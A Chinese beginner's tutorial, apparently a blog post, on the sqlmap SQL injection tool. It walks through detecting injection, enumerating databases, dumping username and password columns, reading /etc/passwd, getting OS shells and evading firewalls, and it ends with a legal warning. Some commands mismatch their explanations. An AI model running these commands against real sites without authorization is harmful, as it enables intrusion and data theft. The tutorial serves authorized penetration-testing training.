一、工具是啥?能干点啥?
sqlmap 就是 SQL 注入的 “自动化收割机”,核心功能是自动检测和利用目标网站的 SQL 注入漏洞,还能直接拖库、破解数据库密码,在渗透测试的信息收集阶段堪称 “封神工具”—— 不用手动写复杂 SQL 语句,小白也能快速挖出网站的数据库漏洞。
二、快速开始:最简上手流程
1. 安装
Kali 系统:
Kali 默认自带 sqlmap!打开终端直接输入sqlmap,出现版本信息就说明能用;如果没找到,输入sudo apt-get install sqlmap一键安装,等待几秒就搞定。
Windows系统(需要先安装python环境,自行去网上找一下):
(1)下载地址:官方网站:https://sqlmap.org/ ,官网可直接下载最新的压缩包(zip格式),页面布局清晰,无需额外找资源,适合追求官方原版的用户。
- 解压下在后的压缩包运行:在sqlmap所在文件夹里面的搜索框里输入:cmd点击回车
2. 最简单的命令
执行命令:
python sqlmap.py -u "http://site.com/page.php?id=1"
然后一直回车就行
可以看到,检测出存在sql注入漏洞:布尔盲注和时间盲注。
命令 & 结果解读
命令含义:-u指定要测试的 URL,sqlmap 会自动检测这个 URL 的id参数是否存在 SQL 注入漏洞。
结果解读:终端会一步步输出检测过程,最后如果显示 “Parameter 'id' is vulnerable”,说明找到注入点了!还会列出漏洞类型(比如 Union query SQLi),新手能立刻感受到 “挖到漏洞” 的成就感。
三、入门必学:核心命令详解
1. 命令
(1):查询数据库名
运行:
python sqlmap.py -u "http://site.com/page.php?id=1" -dbs
一共爆出3个库,可以进去一个个的看里面有什么。
为啥用它:找到注入点后,第一步就是搞清楚目标有哪些数据库,--dbs参数能直接列出所有可用数据库,是信息收集的关键一步。
结果咋看:输出会显示 “available databases [X]”,下面列出数据库名称。
2. 命令 2:查询指定数据库的表名
运行
python sqlmap.py -u "http://site.com/page.php?id=1" -D xxxx --tables
为啥用它:知道数据库名后,下一步就是找关键表(比如用户表、密码表),-D指定要查询的数据库(这里是 test_db),--tables列出该数据库下的所有表。
结果咋看:输出会显示 “Database: test_db”,下面列出表名,比如 “user”“order”,“user” 表基本是必查的,里面大概率存着用户名和密码。
3. 命令 3:查询表中字段(列名)
运行
python sqlmap.py -u "http://site.com/page.php?id=1" -D xxxx --tables
:找到用户表后,需要知道表中有哪些字段(比如用户名、密码、手机号),-T指定表名(这里是 user),--columns列出表中的所有字段。
结果咋看:输出会显示 “Table: user”,下面列出字段名和类型,比如 “id (int)”“username (varchar)”“password (varchar)”,这三个就是用户表的核心字段。
sqlmap 常用参数表:
| 参数名称 | 说明 | 使用示例 |
| -u, --url | 指定目标URL | python sqlmap -u "http://site.com/page?id=1" |
| -m | 从文件读取多个目标URL | python sqlmap -m targets.txt |
| -r | 从HTTP请求文件读取目标 | python sqlmap -r request.txt |
| --data | 指定POST数据 | python sqlmap -u "http://site.com" --data="user=admin&pass=test" |
| --method | 指定HTTP方法 | python sqlmap -u "http://site.com" --method=PUT |
| --cookie | 指定Cookie | python sqlmap -u "http://site.com" --cookie="session=abc123" |
| --user-agent | 指定User-Agent | python sqlmap -u "http://site.com" --user-agent="Mozilla/5.0" |
| --random-agent | 使用随机User-Agent | python sqlmap -u "http://site.com" --random-agent |
| --referer | 指定Referer头 | python sqlmap -u "http://site.com" --referer="http://google.com" |
| --level | 测试等级(1-5) | python sqlmap -u "http://site.com" --level=3 |
| --risk | 测试风险等级(1-3) | python sqlmap -u "http://site.com" --risk=2 |
| --current-user | 获取当前用户 | python sqlmap -u "http://site.com" --current-user |
| --current-db | 获取当前数据库 | python sqlmap -u "http://site.com" --current-db |
| --hostname | 获取数据库主机名 | python sqlmap -u "http://site.com" --hostname |
| --is-dba | 检查是否为DBA | python sqlmap -u "http://site.com" --is-dba |
| --users | 枚举数据库用户 | python sqlmap -u "http://site.com" --users |
| --passwords | 枚举用户密码哈希 | python sqlmap -u "http://site.com" --passwords |
| --privileges | 枚举用户权限 | python sqlmap -u "http://site.com" --privileges |
| --dbs | 枚举数据库 | python sqlmap -u "http://site.com" --dbs |
| --tables | 枚举表 | python sqlmap -u "http://site.com" -D dbname --tables |
| --columns | 枚举列 | python sqlmap -u "http://site.com" -D dbname -T tblname --columns |
| --dump | 导出表数据 | python sqlmap -u "http://site.com" -D dbname -T tblname --dump |
| --dump-all | 导出所有数据库数据 | python sqlmap -u "http://site.com" --dump-all |
| -D | 指定数据库 | python sqlmap -u "http://site.com" -D mysql |
| -T | 指定表 | python sqlmap -u "http://site.com" -D mysql -T user |
| -C | 指定列 | python sqlmap -u "http://site.com" -D mysql -T user -C user,password |
| --file-read | 读取后端文件 | python sqlmap -u "http://site.com" --file-read="/etc/passwd" |
| --file-write | 写入文件到后端 | python sqlmap -u "http://site.com" --file-write="local.txt" --file-dest="/tmp/remote.txt" |
| --os-smbrelay | 一键获取OOB shell,meterpreter或VNC | python sqlmap -u "http://site.com" --os-smbrelay |
| --flush-session | 清空会话文件 | python sqlmap -u "http://site.com" --flush-session |
| --eval | 请求前执行Python代码 | python sqlmap -u "http://site.com" --eval="import hashlib;id2=hashlib.md5(id).hexdigest()" |
四、进阶实战:高手这么玩
组合技 1:基础检测组合
运行:
sqlmap -u "http://site.com/page.php?id=1" --batch --level=3 --risk=2
这个命令是sqlmap中最经典、最实用的组合之一
有--batch时:自动选择Y,一路执行到底
适用场景:批量扫描、自动化脚本、不想手动交互的情况
组合技 2:一键拖库 + 保存结果
运行
Python sqlmap -u "http://site.com/page.php?id=1" -D xxxx -T admin -C username,password --dump -o --output-dir /root/sqlmap_result
核心逻辑:-C指定要导出的字段(这里是 username 和 password),--dump直接导出字段中的数据(比如用户名和密码明文 / 加密值),-o开启优化模式(加快扫描速度),--output-dir指定结果保存路径,方便后续分析。
实战用途:渗透测试中拿到用户密码后,可进一步尝试登录后台,这是最直接的利用方式。
组合技 3:带 Cookie 的注入测试
sqlmap -u "http://site.com/page.php" --cookie "user_id=123; session=abcdef123456; uid=456" --dbs
核心逻辑:很多网站需要登录后才能访问,--cookie参数传入登录后的 Cookie 信息,sqlmap 会带着 Cookie 去检测漏洞(比如登录后的个人中心页面),解决 “未登录无法扫描” 的问题。
实战用途:针对需要权限验证的页面,用这个命令能挖出更多后台漏洞。
五、避坑指南:新手注意事项
1. 常见坑 1:扫描时提示 “连接超时”
原因:目标网站有防火墙拦截,或者网络不稳定,导致 sqlmap 无法和目标建立连接。
解决:加--delay 1参数(每次请求间隔 1 秒,降低扫描速度),再加上--random-agent(模拟浏览器请求头),命令示例:sqlmap -u "URL" --dbs --delay 1 --random-agent。
2. 常见坑 2:导出数据时显示 “没有权限”
原因:sqlmap 使用的数据库用户权限太低,无法读取某些表的数据。
解决:加--privileges参数先查询当前用户权限,若权限不足,尝试用--os-shell获取系统 shell(需高权限),或换其他注入点测试。
3. 法律 & 道德提醒
重中之重! sqlmap 只能用于自己搭建的靶场、授权的测试项目!未获得书面授权就扫描他人网站、窃取数据库数据,属于严重违法行为,轻则罚款,重则坐牢!渗透测试必须在合法授权范围内进行,切勿触碰法律红线!
六、总结与资源
sqlmap 是 SQL 注入的 “自动化利器”,新手先掌握 “找注入点→查库→查表→导出数据” 的核心流程,再尝试进阶组合技,就能满足大部分基础渗透测试需求。
官方文档(最权威):https://sqlmap.org/documentation.html
靶场推荐:SQLi-Labs(本地搭建,适合新手练手)。